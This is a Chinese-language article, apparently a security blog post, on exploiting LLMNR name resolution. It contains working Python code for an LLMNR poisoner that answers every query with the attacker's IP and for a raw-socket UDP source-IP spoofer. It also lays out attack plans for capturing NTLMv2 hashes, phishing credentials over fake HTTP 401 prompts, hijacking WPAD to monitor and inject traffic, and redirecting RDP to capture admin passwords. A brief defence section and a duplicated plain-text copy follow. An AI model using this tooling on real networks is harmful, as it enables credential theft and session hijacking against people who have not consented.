利用 LLMNR 名称解析缺陷劫持内网指定主机会话
字数 1765 2025-08-29 08:31:53

LLMNR协议分析与攻击利用技术详解

0x00 LLMNR简介

LLMNR(Link-Local Multicast Name Resolution)是Windows Vista及后续版本操作系统支持的一种名称解析协议,主要用于局域网中的名称解析。关键特性包括:

  • 支持IPv4和IPv6协议
  • 在Windows名称解析顺序中仅次于DNS
  • Linux操作系统也已实现LLMNR支持
  • 使用UDP协议,监听5355端口
  • IPv4广播地址:224.0.0.252
  • IPv6广播地址:FF02:0:0:0:0:0:1:3或FF02::1:3

0x01 LLMNR协议分析

LLMNR协议结构(RFC 4795定义)及各字段说明:

 0                   1                   2                   3
 0 1 2 3 4 5 6 7 8 9 0 1 2 3 4 5 6 7 8 9 0 1 2 3 4 5 6 7 8 9 0 1
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|              ID               |QR| OPCODE  |C|TC|T|Z|Z|Z| RCODE |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|            QDCOUNT            |            ANCOUNT            |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|            NSCOUNT            |            ARCOUNT            |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+

字段说明:

  • ID:16位事务ID,随机生成用于标识质询与应答
  • QR:0表示查询,1表示响应
  • OPCODE:4位字段,指定查询类型(标准查询和响应值为0)
  • C:冲突位
  • TC:截断位
  • T:暂定,无标志
  • Z:保留位
  • RCODE:响应码
  • QDCOUNT:16位无符号整数,指定质询部分的条目数量
  • ANCOUNT:16位无符号整数,指定应答部分的资源记录数量
  • NSCOUNT:16位无符号整数,指定权威记录部分的名称服务器资源记录数量
  • ARCOUNT:16位无符号整数,指定附加记录部分的资源记录数量

0x02 LLMNR名称解析过程

完整正常的LLMNR名称解析过程(假设主机B已加入组播组):

  1. 主机A向IPv4广播地址224.0.0.252或IPv6广播地址FF02::1:3发送LLMNR查询
  2. 组播组内所有主机(包括主机B)接收查询
  3. 主机B识别查询的是自己的主机名,向主机A单播应答
  4. 主机A收到应答,完成名称解析

关键点:

  • 使用UDP协议传输
  • 查询类型通过"A"或"AAAA"区分(A=IPv4,AAAA=IPv6)
  • 应答包的事务ID(TID)与查询包一致

0x03 LLMNR编程实现

质询实现(Python示例)

import socket, struct

class LLMNR_Query:
    def __init__(self,name):
        self.name = name
        self.IsIPv4 = True
        self.populate()
    
    def populate(self):
        self.HOST = '224.0.0.252' if self.IsIPv4 else 'FF02::1:3'
        self.PORT = 5355
        self.s_family = socket.AF_INET if self.IsIPv4 else socket.AF_INET6
        self.QueryType = "IPv4"
        self.lqs = socket.socket(self.s_family, socket.SOCK_DGRAM)
        
        self.QueryData = (
            "\xa9\xfb"   # Transaction ID
            "\x00\x00"   # Flags Query(0x0000)? or Response(0x8000)?
            "\x00\x01"   # Question
            "\x00\x00"   # Answer RRS
            "\x00\x00"   # Authority RRS
            "\x00\x00"   # Additional RRS
            "LENGTH"     # length of Name
            "NAME"       # Name
            "\x00"       # NameNull
            "TYPE"       # Query Type ,IPv4(0x0001)? or IPv6(0x001c)?
            "\x00\x01")  # Class
        
        namelen = len(self.name)
        self.data = self.QueryData.replace('LENGTH', struct.pack('>B', namelen))
        self.data = self.data.replace('NAME', struct.pack(">"+str(namelen)+"s", self.name))
        self.data = self.data.replace("TYPE", "\x00\x01" if self.QueryType == "IPv4" else "\x00\x1c")
    
    def Query(self):
        print "LLMNR Querying... -> %s" % self.name
        self.lqs.sendto(self.data, (self.HOST, self.PORT))
        self.lqs.close()

应答实现(Python示例)

import socket, struct

class LLMNR_Answer:
    def __init__(self, addr):
        self.IPADDR = addr
        self.las = socket.socket(socket.AF_INET, socket.SOCK_DGRAM)
        self.init_socket()
        self.populate()
    
    def populate(self):
        self.AnswerData = (
            "TID"        # Tid
            "\x80\x00"   # Flags Query(0x0000)? or Response(0x8000)?
            "\x00\x01"   # Question
            "\x00\x01"   # Answer RRS
            "\x00\x00"   # Authority RRS
            "\x00\x00"   # Additional RRS
            "LENGTH"     # Question Name Length
            "NAME"       # Question Name
            "\x00"       # Question Name Null
            "\x00\x01"   # Query Type ,IPv4(0x0001)? or IPv6(0x001c)?
            "\x00\x01"   # Class
            "LENGTH"     # Answer Name Length
            "NAME"       # Answer Name
            "\x00"       # Answer Name Null
            "\x00\x01"   # Answer Type ,IPv4(0x0001)? or IPv6(0x001c)?
            "\x00\x01"   # Class
            "\x00\x00\x00\x1e"  # TTL Default:30s
            "\x00\x04"   # IP Length
            "IPADDR")    # IP Address
    
    def init_socket(self):
        self.HOST = "0.0.0.0"
        self.PORT = 5355
        self.MulADDR = "224.0.0.252"
        self.las.setsockopt(socket.SOL_SOCKET, socket.SO_REUSEADDR, 1)
        self.las.setsockopt(socket.IPPROTO_IP, socket.IP_MULTICAST_TTL, 255)
        self.las.setsockopt(socket.IPPROTO_IP, socket.IP_ADD_MEMBERSHIP, 
                           socket.inet_aton(self.MulADDR) + socket.inet_aton(self.HOST))
    
    def Answser(self):
        self.las.bind((self.HOST, self.PORT))
        print "Listening..."
        while True:
            data, addr = self.las.recvfrom(1024)
            tid = data[0:2]
            namelen = struct.unpack('>B', data[12])[0]
            name = data[13:13 + namelen]
            
            data = self.AnswerData.replace('TID', tid)
            data = data.replace('LENGTH', struct.pack('>B', namelen))
            data = data.replace('NAME', name)
            data = data.replace('IPADDR', socket.inet_aton(self.IPADDR))
            
            print "Poisoned answer(%s) sent to %s for name %s " % (self.IPADDR, addr[0], name)
            self.las.sendto(data, addr)

0x04 LLMNR Poison攻击原理

攻击原理:

  1. 攻击者加入LLMNR组播组
  2. 当有主机发起LLMNR名称解析查询时
  3. 攻击者抢先对查询进行恶意应答
  4. 受害者主机接受攻击者的应答,将流量导向攻击者指定IP

关键缺陷:

  • LLMNR使用无连接的UDP协议
  • 无论请求的主机名是否存在,都会进行LLMNR解析
  • 默认情况下Windows系统启用LLMNR

0x05 伪造源IP+LLMNR Poison攻击

利用UDP无连接特性伪造源IP进行攻击:

  1. 攻击者伪造受害者IP向广播地址发送LLMNR查询
  2. 攻击者自己对该查询进行应答
  3. 受害者主机会将指定主机名的访问重定向到攻击者指定IP

伪造UDP源IP示例代码:

import socket, time
from impacket import ImpactDecoder, ImpactPacket

def UDPSpoof(src_ip, src_port, dst_ip, dst_port, data):
    ip = ImpactPacket.IP()
    ip.set_ip_src(src_ip)
    ip.set_ip_dst(dst_ip)
    
    udp = ImpactPacket.UDP()
    udp.set_uh_sport(src_port)
    udp.set_uh_dport(dst_port)
    udp.contains(ImpactPacket.Data(data))
    
    ip.contains(udp)
    s = socket.socket(socket.AF_INET, socket.SOCK_RAW, socket.IPPROTO_UDP)
    s.setsockopt(socket.IPPROTO_IP, socket.IP_HDRINCL, 1)
    s.sendto(ip.get_packet(), (dst_ip, dst_port))

if __name__ == "__main__":
    QueryData = (
        "\xa9\xfb"   # Transaction ID
        "\x00\x00"   # Flags 
        "\x00\x01"   # Question
        "\x00\x00"   # Answer RRS
        "\x00\x00"   # Authority RRS
        "\x00\x00"   # Additional RRS
        "\x09"       # length of Name
        "Her0in-PC"  # Name
        "\x00"       # NameNull
        "\x00\x01"   # Query Type
        "\x00\x01")  # Class
    
    ip_src = "192.168.169.1"
    ip_dst = "224.0.0.252"
    
    while True:
        print("UDP Source IP Spoof %s => %s for Her0in-PC" % (ip_src, ip_dst))
        UDPSpoof(ip_src, 18743, ip_dst, 5355, QueryData)
        time.sleep(3)

攻击效果:

  • 受害者访问任何使用主机名的服务都会被重定向
  • 可劫持SMB、HTTP、RDP等各种服务会话

0x06 LLMNR Poison实战攻击思路

1. 劫持会话获取HASH

SMB会话劫持:

  • 当主机使用计算机名访问共享时
  • 攻击者可获取发起请求主机的NTLMv2 HASH
  • 可用于离线爆破(无法直接用于Pass-the-Hash)

HTTP 401认证获取HASH:

  • 通过嵌入恶意标签触发LLMNR请求:
    
    
    
  • 受害者访问网页后会自动发起LLMNR请求
  • 攻击者获取HTTP 401认证的HASH

2. 劫持会话进行钓鱼

  • 设置伪造的HTTP 401认证服务器
  • 诱导用户输入凭据
  • 获取明文用户名和密码

3. 劫持WPAD获取上网记录

攻击步骤:

  1. 利用LLMNR Poison劫持WPAD名称解析
  2. 修改受害者主机的浏览器代理设置
  3. 通过攻击者的代理服务器:
    • 查看受害者上网记录
    • 注入恶意脚本
    • 通过Windows更新分发恶意软件

4. "剑走偏锋"获取服务器密码

攻击场景:

  1. 管理员通过RDP连接内网服务器
  2. 攻击者利用LLMNR Poison劫持3389会话
  3. 将RDP连接重定向到攻击者控制的服务器
  4. 记录管理员输入的凭据

0x07 防御措施

关闭LLMNR的注册表设置:

reg add "HKLM\SOFTWARE\Policies\Microsoft\Windows NT\DNSClient" /v EnableMulticast /t REG_DWORD /d 0 /f
reg add "HKLM\SOFTWARE\Wow6432Node\Policies\Microsoft\Windows NT\DNSClient" /v EnableMulticast /t REG_DWORD /d 0 /f

其他防御建议:

  • 在网络设备上阻止LLMNR流量(UDP 5355)
  • 使用主机防火墙限制组播流量
  • 确保所有主机都有正确的DNS记录,减少LLMNR使用
  • 教育用户不要使用主机名访问重要资源
LLMNR协议分析与攻击利用技术详解 0x00 LLMNR简介 LLMNR(Link-Local Multicast Name Resolution)是Windows Vista及后续版本操作系统支持的一种名称解析协议,主要用于局域网中的名称解析。关键特性包括: 支持IPv4和IPv6协议 在Windows名称解析顺序中仅次于DNS Linux操作系统也已实现LLMNR支持 使用UDP协议,监听5355端口 IPv4广播地址:224.0.0.252 IPv6广播地址:FF02:0:0:0:0:0:1:3或FF02::1:3 0x01 LLMNR协议分析 LLMNR协议结构(RFC 4795定义)及各字段说明: 字段说明: ID :16位事务ID,随机生成用于标识质询与应答 QR :0表示查询,1表示响应 OPCODE :4位字段,指定查询类型(标准查询和响应值为0) C :冲突位 TC :截断位 T :暂定,无标志 Z :保留位 RCODE :响应码 QDCOUNT :16位无符号整数,指定质询部分的条目数量 ANCOUNT :16位无符号整数,指定应答部分的资源记录数量 NSCOUNT :16位无符号整数,指定权威记录部分的名称服务器资源记录数量 ARCOUNT :16位无符号整数,指定附加记录部分的资源记录数量 0x02 LLMNR名称解析过程 完整正常的LLMNR名称解析过程(假设主机B已加入组播组): 主机A向IPv4广播地址224.0.0.252或IPv6广播地址FF02::1:3发送LLMNR查询 组播组内所有主机(包括主机B)接收查询 主机B识别查询的是自己的主机名,向主机A单播应答 主机A收到应答,完成名称解析 关键点: 使用UDP协议传输 查询类型通过"A"或"AAAA"区分(A=IPv4,AAAA=IPv6) 应答包的事务ID(TID)与查询包一致 0x03 LLMNR编程实现 质询实现(Python示例) 应答实现(Python示例) 0x04 LLMNR Poison攻击原理 攻击原理: 攻击者加入LLMNR组播组 当有主机发起LLMNR名称解析查询时 攻击者抢先对查询进行恶意应答 受害者主机接受攻击者的应答,将流量导向攻击者指定IP 关键缺陷: LLMNR使用无连接的UDP协议 无论请求的主机名是否存在,都会进行LLMNR解析 默认情况下Windows系统启用LLMNR 0x05 伪造源IP+LLMNR Poison攻击 利用UDP无连接特性伪造源IP进行攻击: 攻击者伪造受害者IP向广播地址发送LLMNR查询 攻击者自己对该查询进行应答 受害者主机会将指定主机名的访问重定向到攻击者指定IP 伪造UDP源IP示例代码: 攻击效果: 受害者访问任何使用主机名的服务都会被重定向 可劫持SMB、HTTP、RDP等各种服务会话 0x06 LLMNR Poison实战攻击思路 1. 劫持会话获取HASH SMB会话劫持: 当主机使用计算机名访问共享时 攻击者可获取发起请求主机的NTLMv2 HASH 可用于离线爆破(无法直接用于Pass-the-Hash) HTTP 401认证获取HASH: 通过嵌入恶意标签触发LLMNR请求: 受害者访问网页后会自动发起LLMNR请求 攻击者获取HTTP 401认证的HASH 2. 劫持会话进行钓鱼 设置伪造的HTTP 401认证服务器 诱导用户输入凭据 获取明文用户名和密码 3. 劫持WPAD获取上网记录 攻击步骤: 利用LLMNR Poison劫持WPAD名称解析 修改受害者主机的浏览器代理设置 通过攻击者的代理服务器: 查看受害者上网记录 注入恶意脚本 通过Windows更新分发恶意软件 4. "剑走偏锋"获取服务器密码 攻击场景: 管理员通过RDP连接内网服务器 攻击者利用LLMNR Poison劫持3389会话 将RDP连接重定向到攻击者控制的服务器 记录管理员输入的凭据 0x07 防御措施 关闭LLMNR的注册表设置: 其他防御建议: 在网络设备上阻止LLMNR流量(UDP 5355) 使用主机防火墙限制组播流量 确保所有主机都有正确的DNS记录,减少LLMNR使用 教育用户不要使用主机名访问重要资源